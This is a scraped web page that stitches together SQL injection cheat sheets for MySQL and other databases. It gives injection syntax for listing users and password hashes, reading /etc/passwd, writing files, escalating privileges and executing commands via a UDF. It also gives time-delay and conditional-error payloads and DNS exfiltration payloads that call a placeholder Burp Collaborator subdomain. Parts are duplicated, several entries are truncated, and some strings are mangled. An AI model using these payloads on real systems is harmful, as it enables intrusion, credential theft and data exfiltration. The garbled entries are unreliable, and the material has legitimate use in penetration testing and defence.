Mysql Sqli Cheat Sheet

Posted : admin On 1/29/2022

Some useful syntax reminders for SQL Injection into MySQL databases…

This post is part of a series of SQL Injection Cheat Sheets. In this series, I’ve endevoured to tabulate the data to make it easier to read and to use the same table for for each database backend. This helps to highlight any features which are lacking for each database, and enumeration techniques that don’t apply and also areas that I haven’t got round to researching yet.

MySQL SQL Injection Cheat Sheet Some useful syntax reminders for SQL Injection into MySQL databases This post is part of a series of SQL Injection Cheat Sheets. In this series, I’ve endevoured to tabulate the data to make it easier to read and to use the same table for for each database backend.
SQL injection cheat sheet. This SQL injection cheat sheet contains examples of useful syntax that you can use to perform a variety of tasks that often arise when performing SQL injection attacks. String concatenation. You can concatenate together multiple strings to make a single string.

Pentestmonkey: Detailed SQL injection cheat sheets for penetration testers; Bobby Tables: The most comprehensible library of SQL injection defense techniques for many programming languages. Download the PDF version of the SQL injection Cheat Sheet. View sqlinjectioncheatsheet.pdf from CS 101 at University of Miami. SQL INJECTION CHEAT SHEET www.rapid7.com Common SQL Injection Commands for Backend Databases MS-SQL Grab.

The complete list of SQL Injection Cheat Sheets I’m working is:

I’m not planning to write one for MS Access, but there’s a great MS Access Cheat Sheet here.

Some of the queries in the table below can only be run by an admin. These are marked with “– priv” at the end of the query.

Mysql Sqli Cheat Sheet Example

Version	SELECT @@version
Comments	SELECT 1; #comment SELECT /comment/1;
Current User	SELECT user(); SELECT system_user();
List Users	SELECT user FROM mysql.user; — priv
List Password Hashes	SELECT host, user, password FROM mysql.user; — priv
Password Cracker	John the Ripper will crack MySQL password hashes.
List Privileges	SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges; — list user privsSELECT host, user, Select_priv, Insert_priv, Update_priv, Delete_priv, Create_priv, Drop_priv, Reload_priv, Shutdown_priv, Process_priv, File_priv, Grant_priv, References_priv, Index_priv, Alter_priv, Show_db_priv, Super_priv, Create_tmp_table_priv, Lock_tables_priv, Execute_priv, Repl_slave_priv, Repl_client_priv FROM mysql.user; — priv, list user privsSELECT grantee, table_schema, privilege_type FROM information_schema.schema_privileges; — list privs on databases (schemas)SELECT table_schema, table_name, column_name, privilege_type FROM information_schema.column_privileges; — list privs on columns
List DBA Accounts	SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE privilege_type = ‘SUPER’;SELECT host, user FROM mysql.user WHERE Super_priv = ‘Y’; # priv
Current Database	SELECT database()
List Databases	SELECT schema_name FROM information_schema.schemata; — for MySQL >= v5.0 SELECT distinct(db) FROM mysql.db — priv
List Columns	SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’
List Tables	SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’
Find Tables From Column Name	SELECT table_schema, table_name FROM information_schema.columns WHERE column_name = ‘username’; — find table which have a column called ‘username’
Select Nth Row	SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 0; # rows numbered from 0 SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 1; # rows numbered from 0
Select Nth Char	SELECT substr(‘abcd’, 3, 1); # returns c
Bitwise AND	SELECT 6 & 2; # returns 2 SELECT 6 & 1; # returns 0
ASCII Value -> Char	SELECT char(65); # returns A
Char -> ASCII Value	SELECT ascii(‘A’); # returns 65
Casting	SELECT cast(’1′ AS unsigned integer); SELECT cast(’123′ AS char);
String Concatenation	SELECT CONCAT(‘A’,’B’); #returns AB SELECT CONCAT(‘A’,’B’,’C’); # returns ABC
If Statement	SELECT if(1=1,’foo’,’bar’); — returns ‘foo’
Case Statement	SELECT CASE WHEN (1=1) THEN ‘A’ ELSE ‘B’ END; # returns A
Avoiding Quotes	SELECT 0×414243; # returns ABC
Time Delay	SELECT BENCHMARK(1000000,MD5(‘A’)); SELECT SLEEP(5); # >= 5.0.12
Make DNS Requests	Impossible?
Command Execution	If mysqld (<5.0) is running as root AND you compromise a DBA account you can execute OS commands by uploading a shared object file into /usr/lib (or similar). The .so file should contain a User Defined Function (UDF). raptor_udf.c explains exactly how you go about this. Remember to compile for the target architecture which may or may not be the same as your attack platform.
Local File Access	…’ UNION ALL SELECT LOAD_FILE(‘/etc/passwd’) — priv, can only read world-readable files. SELECT * FROM mytable INTO dumpfile ‘/tmp/somefile’; — priv, write to file system
Hostname, IP Address	SELECT @@hostname;
Create Users	CREATE USER test1 IDENTIFIED BY ‘pass1′; — priv
Delete Users	DROP USER test1; — priv
Make User DBA	GRANT ALL PRIVILEGES ON . TO [email protected]’%’; — priv
Location of DB files	SELECT @@datadir;
Default/System Databases	information_schema (>= mysql 5.0) mysql

This SQL injection cheat sheet contains examples of useful syntax that you can use to perform a variety of tasks that often arise when performing SQL injection attacks.

You can concatenate together multiple strings to make a single string.

database	example
Oracle	`’foo’
Microsoft	`'foo'+'bar'`
PostgreSQL	`’foo’
MySQL	`'foo' 'bar' [Note the space between the two strings]` `CONCAT('foo','bar')`

You can use comments to truncate a query and remove the portion of the original query that follows your input.

database	example
Oracle	`--comment`
Microsoft	`--comment` `/comment/`
PostgreSQL	`--comment` `/comment/`
MySQL	`#comment` `-- comment [Note the space after the double dash]` `/comment/`

You can query the database to determine its type and version. This information is useful when formulating more complicated attacks.

database	example
Oracle	`SELECT banner FROM v$version` `SELECT version FROM v$instance`
Microsoft	`SELECT @@version`
PostgreSQL	`SELECT version()`
MySQL	`SELECT @@version`

You can list the tables that exist in the database, and the columns that those tables contain.

database	example
Oracle	`SELECT * FROM all_tables` `SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'`
Microsoft	`SELECT * FROM information_schema.tables` `SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'`
PostgreSQL	`SELECT * FROM information_schema.tables` `SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'`
MySQL	`SELECT * FROM information_schema.tables` `SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'`

You can test a single boolean condition and trigger a database error if the condition is true.

database	example
Oracle	`SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN to_char(1/0) ELSE NULL END FROM dual`
Microsoft	`SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END`
PostgreSQL	`SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN cast(1/0 as text) ELSE NULL END`
MySQL	`SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a')`

You can use batched queries to execute multiple queries in succession. Note that while the subsequent queries are executed, the results are not returned to the application. Hence this technique is primarily of use in relation to blind vulnerabilities where you can use a second query to trigger a DNS lookup, conditional error, or time delay.

database	example
Oracle	`Does not support batched queries.`
Microsoft	`QUERY-1-HERE; QUERY-2-HERE`
PostgreSQL	`QUERY-1-HERE; QUERY-2-HERE`
MySQL	`Does not support batched queries.`

You can cause a time delay in the database when the query is processed. The following will cause an unconditional time delay of 10 seconds.

Mysql Sqli Cheat Sheet Pdf

database	example
Oracle	`dbms_pipe.receive_message(('a'),10)`
Microsoft	`WAITFOR DELAY '0:0:10'`
PostgreSQL	`SELECT pg_sleep(10)`
MySQL	`SELECT sleep(10)`

You can test a single boolean condition and trigger a time delay if the condition is true.

database	example
Oracle	`SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN ‘a’
Microsoft	`IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10'`
PostgreSQL	`SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END`
MySQL	`SELECT IF(YOUR-CONDITION-HERE,sleep(10),'a')`

You can cause the database to perform a DNS lookup to an external domain. To do this, you will need to use Burp Collaborator client to generate a unique Burp Collaborator subdomain that you will use in your attack, and then poll the Collaborator server to confirm that a DNS lookup occurred.

database	example
Oracle	The following technique leverages an XML external entity (XXE) vulnerability to trigger a DNS lookup. The vulnerability has been patched but there are many unpatched Oracle installations in existence:`SELECT extractvalue(xmltype('<?xml version='1.0' encoding='UTF-8'?><!DOCTYPE root [ <!ENTITY % remote SYSTEM 'http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net/'> %remote;]>'),'/l') FROM dual` The following technique works on fully patched Oracle installations, but requires elevated privileges:`SELECT UTL_INADDR.get_host_address('YOUR-SUBDOMAIN-HERE.burpcollaborator.net')`
Microsoft	`exec master..xp_dirtree '//YOUR-SUBDOMAIN-HERE.burpcollaborator.net/a'`
PostgreSQL	`copy (SELECT ') to program 'nslookup YOUR-SUBDOMAIN-HERE.burpcollaborator.net'`
MySQL	The following techniques work on Windows only: `LOAD_FILE('YOUR-SUBDOMAIN-HERE.burpcollaborator.neta')` `SELECT ... INTO OUTFILE 'YOUR-SUBDOMAIN-HERE.burpcollaborator.neta'`

Mysql Sqli Cheat Sheet Download

You can cause the database to perform a DNS lookup to an external domain containing the results of an injected query. To do this, you will need to use Burp Collaborator client to generate a unique Burp Collaborator subdomain that you will use in your attack, and then poll the Collaborator server to retrieve details of any DNS interactions, including the exfiltrated data.

database	example
Oracle	`SELECT extractvalue(xmltype(‘<!DOCTYPE root [ <!ENTITY % remote SYSTEM “http://‘
Microsoft	`declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master..xp_dirtree '//'[email protected]+'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net/a')`
PostgreSQL	create OR replace function f() returns void as $$ declare c text; declare p text; begin SELECT into p (SELECT YOUR-QUERY-HERE); c := ‘copy (SELECT ‘’’’) to program ‘’nslookup ‘
MySQL	The following technique works on Windows only:`SELECT YOUR-QUERY-HERE INTO OUTFILE 'YOUR-SUBDOMAIN-HERE.burpcollaborator.neta'`

SQL注入在不同数据库的表现,可表现在这些方面:

Mysql Sqli Cheat Sheet Free

String concatenation 字符串连接
Comments 注释
Database version 数据库版本的查询
Database contents 数据库内容的查询
Conditional errors 条件错误
Batched (or stacked) queries 批量查询
Time delays 时间延迟
Conditional time delays 有条件的时间延迟
DNS lookup DNS查询
DNS lookup with data exfiltration 使用数据泄露进行DNS查找